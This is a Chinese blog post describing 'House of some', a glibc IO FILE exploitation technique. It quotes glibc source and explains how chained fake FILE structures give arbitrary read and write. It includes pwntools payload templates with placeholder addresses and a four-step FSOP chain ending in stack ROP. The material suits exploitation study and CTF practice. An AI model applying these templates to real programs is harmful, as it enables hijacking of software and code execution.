概述

House of some是一条改进House of apple2的新链,也是一种攻击思路,效果十分显著,并且可以适用于未来的高版本,可以实现任意地址写,其中触发条件为

  1. 已知glibc基地址
  2. 可控的已知地址(可写入内容构造fake file)
  3. 需要一次libc内任意地址写可控地址
  4. 程序能正常退出或者通过exit()退出

House of some具有以下优点:

  1. 无视目前的IO_validate_vtable检查(wide_data的vtable加上检查也可以打)
  2. 第一次任意地址写要求低
  3. 最后攻击提权是栈上ROP,可以不需要栈迁移
  4. 源码级攻击,不依赖编译结果

自动化脚本(将于2024年2月1日发布)https://github.com/CsomePro/Some-of-House

利用思路

构造任意地址写的fake file

首先回顾一下House of apple2 https://bbs.kanxue.com/thread-273832.htm

其中有一条链是如下进行的

1
2
3
4
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

如果fp->_wide_data->_wide_vtable加上了检查,那么只能选择虚表内的函数进行执行,我们能够选什么呢?

那么就需要_IO_new_file_underflow这个函数出场了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
int
_IO_new_file_underflow (FILE *fp)
{
ssize_t count;

/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;

if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;

if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}

/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (stdout);

if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (stdout, EOF);

_IO_release_lock (stdout);
}

_IO_switch_to_get_mode (fp);

/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;

count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}

我们可以发现在_IO_new_file_underflow函数内会调用_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)宏其对应的常规read函数如下

1
2
3
4
5
6
7
ssize_t
_IO_file_read (FILE *fp, void *buf, ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? __read_nocancel (fp->_fileno, buf, size)
: __read (fp->_fileno, buf, size));
}

最后是调用syscall(read)读,我们可以看到read的三个参数都是可控的

  • fd=>fp->_fileno
  • buf=>fp->_IO_buf_base
  • size=>fp->_IO_buf_end - fp->_IO_buf_base

那么就可以构造一个任意地址写,那么有了任意地址写之后有啥用呢?FSOP!

我们再回到_IO_flush_all函数观察一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int
_IO_flush_all (void)
{
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

_IO_funlockfile (fp);
run_fp = NULL;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif

return result;
}

其中的for循环我们可以看到对于_IO_list_all上的单向链表,通过了_chain串起来,并在_IO_flush_all中,会遍历链表上每一个FILE,如果条件成立,就可以调用_IO_OVERFLOW(fp, EOF)

1
2
3
4
5
6
7
8
9
10
11
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) 
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
...
}

那么接下来就开始构造一个实现任意地址写的fake file

由于_IO_new_file_underflow内有一个_IO_switch_to_get_mode函数其中有这个分支

1
2
3
if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_OVERFLOW (fp, EOF) == EOF)
return EOF;

如果还是使用fp->_IO_write_ptr > fp->_IO_write_base来使得触发OVERFLOW就会出现无限递归,所以不可行,我们需要采取另一个分支,即

1
2
3
4
5
6
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) // 不可行
|| (_IO_vtable_offset (fp) == 0 // 使用||之后的分支
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

那么实现任意地址读的fake file设置如下

  • _flags设置为~(2 | 0x8 | 0x800),设置为0即可(与apple2相同)
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap地址,使得调用_IO_wfile_overflow即可(注意此处与apple2不同的是,此处的vtable不能加偏移,否则会打乱_IO_SYSREAD的调用)
  • _wide_data->_IO_write_base设置为0,即满足*(_wide_data + 0x18) = 0(与apple2相同)
  • _wide_data->_IO_write_ptr设置为大于_wide_data->_IO_write_base,即满足*(_wide_data + 0x20) > *(_wide_data + 0x18)(注意此处不同)
  • _wide_data->_IO_buf_base设置为0,即满足*(_wide_data + 0x30) = 0(与apple2相同)
  • _wide_data->_wide_vtable设置为任意一个包含_IO_new_file_underflow,其中原生的vtable就有,设置成_IO_file_jumps-0x48即可
  • _vtable_offset设置为0
  • _IO_buf_base_IO_buf_end设置为你需要写入的地址范围
  • _chain设置为你下一个触发的fake file地址
  • _IO_write_ptr <= _IO_write_base即可
  • _fileno设置为0,表示read(0, buf, size)
  • _mode设置为2,满足fp->_mode > 0即可

一个任意地址写的fake file模板如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
fake_file_read = flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr

0x38: 任意地址写的起始地址, # _IO_buf_base
0x40: 任意地址写的终止地址, # _IO_buf_end

0x70: 0, # _fileno
0x82: b"\x00", # _vtable_offset
0xc0: 2, # _mode
0xa0: wide_data的地址, # _wide_data
0x68: 下一个调用的fake file地址, # _chain
0xd8: _IO_wfile_jumps, # vtable
}, filler=b"\x00")

fake_wide_data = flat({
0xe0: _IO_file_jumps - 0x48,
0x18: 0,
0x20: 1,
0x30: 0,
}, filler=b"\x00")

构造任意地址读的fake file

这个就很简单了,以前也有这些研究,利用_IO_write_base_IO_write_ptr实现任意地址读,这里给出构造模板,具体原理网上有很多教程

1
2
3
4
5
6
7
8
9
10
fake_file_write = flat({
0x00: 0x800 | 0x1000, # _flags

0x20: 需要泄露的起始地址, # _IO_write_base
0x28: 需要泄露的终止地址, # _IO_write_ptr

0x70: 1, # _fileno
0x68: 下一个调用的fake file地址, # _chain
0xd8: _IO_file_jumps, # vtable
}, filler=b"\x00")

FSOP!

我们已经有了任意地址读、任意地址写的fake file构造,那么只需要将其用_chain串起来就可以达成强大的攻击效果

那么我将House of some的攻击流程分成4步(RWRWR过程)(这也是一个广泛的思路,拥有任意地址写就不止一个方法了)

  • 第一步 任意地址写_chain,这里可以写_IO_list_all或者stdin、stdout、stderr的_chain位置,在这一步需要在可控地址上布置一个任意地址写的Fake file,之后将Fake file地址写入上述位置
  • 第二步 扩展fake file链条并泄露栈地址,在第一步的中,我们只有一个fake file,并不能完成更复杂的操作,所以这一步我们需要写入两个fake file,一个用于泄露environ内的值(即栈地址),另一个用于写入下一个fake file
  • 第三步 泄露栈内数据,并寻找ROP起始地址,这一步同样需要写入两个fake file,一个任意地址读,读取栈上内存,另一个任意地址写,向栈上写ROP
  • 第三步 写入ROP,实现栈上ROP攻击!

下图是攻击的图示,黄色代表_IO_flush_all还未遍历的FILE,黑色代表已经处理过的FILE

简单的分析

这个链条是基于House of apple2基础上衍生的,为什么需要apple2呢?因为,在意外调用vtable的过程中,需要给vtable项加上偏移,但是_IO_SYSREAD等宏也是通过偏移索引,所以会导致偏移出错无法按照预定逻辑,那么就想到wide data内的vtable,修改此处的偏移可以不影响IO FILE的vtable。

这个利用链条从源码中分析得出,不依赖二进制编译结果,以及可以无视加上wide data内的vtable的检查,这就导致了非常强大的泛用性。

同时House of some带回了原生的FSOP流程(RWRWR过程),我们重新回到了起点——angelboy提出的FSOP原来的样子,利用chain把一个一个fake file串起来,通过多次的fake file调用_IO_OVERFLOW,实现二次泄露甚至多次泄露,使得我们游走在任意地址中,修改任意的地址内容!

为何选择栈上ROP,因为这是最简单最有效最暴力的攻击方法,可以无需栈迁移,无视canary(任意读可以泄露,甚至我能控制写入起点,可以选择canary后面作为起点),最后栈溢出永不过时!

本文采用CC-BY-SA-4.0协议,转载请注明出处
作者: Csome
Hits